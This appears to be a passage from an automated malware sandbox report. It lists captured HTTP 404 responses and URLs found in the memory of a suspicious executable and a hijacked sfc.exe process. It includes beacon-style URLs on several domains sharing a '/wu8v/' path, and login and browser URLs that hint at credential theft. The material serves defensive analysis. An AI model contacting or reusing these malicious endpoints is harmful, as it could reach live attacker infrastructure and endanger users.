65 78 70 61 6e 64 2d 61 6c 6c 7b 70 61 64 64 69 6e 67 3a 32 70 78 20 31 35 70 78 20 34 70 78 20 31 30 70 78 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 2d 31 32 70 78 3b 7d 20 0a 6c 65 67 65 6e 64 7b 63 6f 6c 6f 72 3a 23 33 33 33 33 33 33 3b 3b 6d 61 72 67 69 6e 3a 34 70 78 20 30 20 38 70 78 20 2d 31 32 70 78 3b 5f 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 70 78 3b 20 0a 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 65 6d 3b 7d 20 0a 61 3a 6c 69 6e 6b 2c 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 30 30 37 45 46 46 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 20 0a 61 3a 68 6f 76 65 72 7b 74 65 78 74 2d 64 65
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: privateContent-Type: text/html; charset=utf-8Server: Microsoft-IIS/8.5X-Powered-By: ASP.NETDate: Wed, 08 May 2024 12:08:23 GMTConnection: closeContent-Length: 5097Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 20 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 20 0a 3c 68 65 61 64 3e 20 0a 3c 74 69 74 6c 65 3e 49 49 53 20 38 2e 35 20 44 65 74 61 69 6c 65 64 20 45 72 72 6f 72 20 2d 20 34 30 34 2e 30 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 20 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 20 0a 3c 21 2d 2d 20 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 41 72 69 61 6c 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 0a 63 6f 64 65 7b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 30 30 36 36 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 31 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 20 0a 2e 63 6f 6e 66 69 67 5f 73 6f 75 72 63 65 20 63 6f 64 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 65 6d 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0a 70 72 65 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 34 65 6d 3b 77 6f 72 64 2d 77 72 61 70 3a 62 72 65 61 6b 2d 77 6f 72 64 3b 7d 20 0a 75 6c 2c 6f 6c 7b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 31 30 70 78 20 35 70 78 3b 7d 20 0a 75 6c 2e 66 69 72 73 74 2c 6f 6c 2e 66 69 72 73 74 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 70 78 3b 7d 20 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 77 6f 72 64 2d 62 72 65 61 6b 3a 62 72 65 61 6b 2d 61 6c 6c 3b 7d 20 0a 2e 73 75 6d 6d 61 72 79 2d 63 6f 6e 74 61 69 6e 65 72 20 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 35 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 34 70 78 3b 7d 20 0a 6c 65 67 65 6e 64 2e 6e 6f 2d 65 78 70 61 6e 64 2d 61 6c 6c 7b 70 61 64 64 69 6e 67 3a 32 70 78 20 31 35 70 78 20 34 70 78 20 31 30 70 78 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 2d 31 32 70 78 3b 7d 20 0a 6c 65 67 65 6e 64 7b 63 6f 6c 6f 72 3a 23 33 33 33 33 33 33 3b 3b 6d 61 72 67 69 6e 3a 34 70 78 20 30 20 38 70 78 20 2d 31 32 70 78 3b 5f 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 70 78 3b 20 0a 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 65 6d 3b 7d 20 0a 61 3a 6c 69 6e 6b 2c 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 30 30 37 45 46 46 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 20 0a 61 3a 68 6f 76 65 72 7b 74 65 78 74 2d 64 65
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 08 May 2024 12:08:38 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 08 May 2024 12:08:41 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 08 May 2024 12:08:44 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 08 May 2024 12:08:46 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: sfc.exe, 0000000C.00000002.4093679938.0000000003D16000.00000004.10000000.00040000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.00000000038A6000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: http://auetravel.kz/wu8v/?MdtlcTm=o0dJzo0
Source: sfc.exe, 0000000C.00000002.4093679938.0000000004682000.00000004.10000000.00040000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.0000000004212000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: http://getgoodscrub.com/wu8v/?MdtlcTm=G9rRy2qYQIDZeyI4LJY6JNX1SXnAoDrMeesi9cL1NNtjWs0X9VQENpz2e8f5yO
Source: sfc.exe, 0000000C.00000002.4093679938.00000000049A6000.00000004.10000000.00040000.00000000.sdmp, sfc.exe, 0000000C.00000002.4095229118.0000000006160000.00000004.00000800.00020000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.0000000004536000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: http://parked.reg.bookmyname.com/images/lien_1.gif
Source: sfc.exe, 0000000C.00000002.4093679938.00000000049A6000.00000004.10000000.00040000.00000000.sdmp, sfc.exe, 0000000C.00000002.4095229118.0000000006160000.00000004.00000800.00020000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.0000000004536000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: http://parked.reg.bookmyname.com/images/lien_2.gif
Source: sfc.exe, 0000000C.00000002.4093679938.00000000049A6000.00000004.10000000.00040000.00000000.sdmp, sfc.exe, 0000000C.00000002.4095229118.0000000006160000.00000004.00000800.00020000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.0000000004536000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: http://parked.reg.bookmyname.com/images/lien_3.gif
Source: sfc.exe, 0000000C.00000002.4093679938.00000000049A6000.00000004.10000000.00040000.00000000.sdmp, sfc.exe, 0000000C.00000002.4095229118.0000000006160000.00000004.00000800.00020000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.0000000004536000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: http://parked.reg.bookmyname.com/images/lien_4.gif
Source: sfc.exe, 0000000C.00000002.4093679938.00000000049A6000.00000004.10000000.00040000.00000000.sdmp, sfc.exe, 0000000C.00000002.4095229118.0000000006160000.00000004.00000800.00020000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.0000000004536000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: http://parked.reg.bookmyname.com/images/lien_5.gif
Source: sfc.exe, 0000000C.00000002.4093679938.00000000049A6000.00000004.10000000.00040000.00000000.sdmp, sfc.exe, 0000000C.00000002.4095229118.0000000006160000.00000004.00000800.00020000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.0000000004536000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: http://parked.reg.bookmyname.com/images/lien_6.gif
Source: sfc.exe, 0000000C.00000002.4093679938.00000000049A6000.00000004.10000000.00040000.00000000.sdmp, sfc.exe, 0000000C.00000002.4095229118.0000000006160000.00000004.00000800.00020000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.0000000004536000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: http://parked.reg.bookmyname.com/images/lien_7.gif
Source: sfc.exe, 0000000C.00000002.4093679938.00000000049A6000.00000004.10000000.00040000.00000000.sdmp, sfc.exe, 0000000C.00000002.4095229118.0000000006160000.00000004.00000800.00020000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.0000000004536000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: http://parked.reg.bookmyname.com/images/lien_8.gif
Source: NdYuOgHbM9.exe, 00000000.00000002.1804365853.000001EF3A961000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Amcache.hve.9.dr String found in binary or memory: http://upx.sf.net
Source: sfc.exe, 0000000C.00000002.4093679938.00000000049A6000.00000004.10000000.00040000.00000000.sdmp, sfc.exe, 0000000C.00000002.4095229118.0000000006160000.00000004.00000800.00020000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.0000000004536000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.afilias.info/
Source: tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.0000000004536000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.bookmyname.com/
Source: sfc.exe, 0000000C.00000002.4093679938.00000000049A6000.00000004.10000000.00040000.00000000.sdmp, sfc.exe, 0000000C.00000002.4095229118.0000000006160000.00000004.00000800.00020000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.0000000004536000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.eurid.eu/
Source: sfc.exe, 0000000C.00000002.4093679938.00000000049A6000.00000004.10000000.00040000.00000000.sdmp, sfc.exe, 0000000C.00000002.4095229118.0000000006160000.00000004.00000800.00020000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.0000000004536000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.icann.org/
Source: sfc.exe, 0000000C.00000002.4093679938.0000000004CCA000.00000004.10000000.00040000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.000000000485A000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.insertcoen.com:80/wu8v/?MdtlcTm=jVsDngfN17jo53xCVVHLBYy1RtgDvNhrjbHy79NIDh3y3n8I8UoARbyDj
Source: tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4094582069.000000000580B000.00000040.80000000.00040000.00000000.sdmp String found in binary or memory: http://www.lm2ue.us
Source: tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4094582069.000000000580B000.00000040.80000000.00040000.00000000.sdmp String found in binary or memory: http://www.lm2ue.us/wu8v/
Source: sfc.exe, 0000000C.00000002.4093679938.0000000004814000.00000004.10000000.00040000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.00000000043A4000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.marksmile.com/asset/lp_qrcode.png
Source: sfc.exe, 0000000C.00000002.4093679938.0000000004814000.00000004.10000000.00040000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.00000000043A4000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.marksmile.com/asset/lp_style.css
Source: sfc.exe, 0000000C.00000002.4093679938.00000000049A6000.00000004.10000000.00040000.00000000.sdmp, sfc.exe, 0000000C.00000002.4095229118.0000000006160000.00000004.00000800.00020000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.0000000004536000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.neulevel.biz/
Source: sfc.exe, 0000000C.00000002.4093679938.00000000049A6000.00000004.10000000.00040000.00000000.sdmp, sfc.exe, 0000000C.00000002.4095229118.0000000006160000.00000004.00000800.00020000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.0000000004536000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.pir.org/
Source: sfc.exe, 0000000C.00000002.4095332097.0000000007C24000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: sfc.exe, 0000000C.00000002.4095332097.0000000007C24000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: sfc.exe, 0000000C.00000002.4095332097.0000000007C24000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: sfc.exe, 0000000C.00000002.4095332097.0000000007C24000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: sfc.exe, 0000000C.00000002.4095332097.0000000007C24000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: sfc.exe, 0000000C.00000002.4095332097.0000000007C24000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: sfc.exe, 0000000C.00000002.4095332097.0000000007C24000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: sfc.exe, 0000000C.00000002.4093679938.00000000041CC000.00000004.10000000.00040000.00000000.sdmp, sfc.exe, 0000000C.00000002.4095229118.0000000006160000.00000004.00000800.00020000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.0000000003D5C000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://img.sedoparking.com/templates/images/hero_nc.svg
Source: sfc.exe, 0000000C.00000002.4093679938.0000000004814000.00000004.10000000.00040000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.00000000043A4000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://lf6-cdn-tos.bytecdntp.com/cdn/expire-1-M/axios/0.26.0/axios.min.js
Source: sfc.exe, 0000000C.00000002.4091957268.0000000002D34000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: sfc.exe, 0000000C.00000002.4091957268.0000000002D34000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: sfc.exe, 0000000C.00000002.4091957268.0000000002D34000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: sfc.exe, 0000000C.00000002.4091957268.0000000002D34000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: sfc.exe, 0000000C.00000002.4091957268.0000000002D34000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: sfc.exe, 0000000C.00000002.4091957268.0000000002D17000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: sfc.exe, 0000000C.00000003.2023276943.0000000007BF9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
